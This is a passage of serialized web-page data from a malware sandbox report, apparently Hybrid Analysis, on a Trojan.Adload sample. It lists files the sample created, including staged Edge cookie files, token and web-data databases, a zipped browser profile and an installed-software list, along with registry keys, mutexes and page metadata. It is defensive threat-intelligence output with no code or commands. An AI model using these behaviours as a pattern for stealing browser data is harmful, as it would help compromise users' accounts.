ity.ms.txt","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\8250790ABB6552085A14E9AACD5F9C89_Edge\\Default\\cookies\\linkedin.com.txt","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\8250790ABB6552085A14E9AACD5F9C89_Edge\\Default\\cookies\\microsoft.com.txt","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\8250790ABB6552085A14E9AACD5F9C89_Edge\\Default\\cookies\\msn.com.txt","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\8250790ABB6552085A14E9AACD5F9C89_Edge\\Default\\cookies\\scorecardresearch.com.txt","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\F899DD7E44154659BAFC426BD7A41B88_web_data_tokens.db","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\8250790ABB6552085A14E9AACD5F9C89_Edge\\Default","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\8250790ABB6552085A14E9AACD5F9C89_Edge\\Default\\browser_meta.json","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\C661AFA6B0E042F4836535F20D6B0DB2_web_data.db","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\8250790ABB6552085A14E9AACD5F9C89_Edge\\info.json","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\8250790ABB6552085A14E9AACD5F9C89_Edge.zip","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\8250790ABB6552085A14E9AACD5F9C89_InstalledSoftware\\Installed_Software.txt","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"%TEMP%\\8250790ABB6552085A14E9AACD5F9C89_InstalledSoftware.zip","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"path":"pipe\\msedge.sync.61505.14454","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"key":"HKCUHKCU\\SOFTWARE\\ONYXC3\\","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\AUTHROOT\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\TRUSTEDPEOPLE\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7012:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7012:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7012:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Local\\SM0:7012:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"SM0:7012:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"SM0:7012:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7200:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Local\\SM0:7200:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"SM0:7200:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"SM0:7200:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Local\\SM0:7200:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7200:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7200:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7200:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7996:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7996:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Local\\SM0:7996:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Local\\SM0:7996:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7752:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7752:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Local\\SM0:7752:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"SM0:7752:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4404:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"SM0:4404:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Local\\SM0:4404:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Local\\SM0:4404:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"SM0:4404:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4404:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4404:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4404:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4972:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4972:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"SM0:4972:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Local\\SM0:4972:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4972:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4284:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"SM0:6508:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Local\\SM0:6508:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6508:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6508:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7560:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7560:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Local\\SM0:7560:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4064:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4064:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"SM0:4064:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Local\\SM0:4064:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:3892:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3892:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Local\\SM0:3892:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"SM0:3892:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7356:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7356:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Local\\SM0:7356:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"SM0:7356:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6780:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6780:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Local\\SM0:6780:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"SM0:6780:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5916:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5916:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"SM0:5916:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Local\\SM0:5916:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7660:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7660:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"Local\\SM0:7660:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]},{"name":"SM0:7660:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6ab51c34d1aaac177e0d008e"}]}]}},"report_ids":{"sandbox_job_ids":["6ab51c34d1aaac177e0d008e"]}}}]]}] 1b:null 1f:[["$","title","0",{"children":"Malicious Trojan.Adload Sample 0d7abf4cfeab… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 0d7abf4cfeab…. Malware family: Trojan.Adload. Threat score 100/100. 3/26 AV engines flagged this file. 19 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Adload Sample 0d7abf4cfeab… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 0d7abf4cfeab…. Malware family: Trojan.Adload. Threat score 100/100. 3/26 AV engines flagged this file. 19 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/0d7abf4cfeabb9378134799d455bc6cd6b1ecf8182eaebdb2f265c31deb4d616"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Adload Sample 0d7abf4cfeab… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 0d7abf4cfeab…. Malware family: Trojan.Adload. Threat score 100/100. 3/26 AV engines flagged this file. 19 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L70","11",{}]]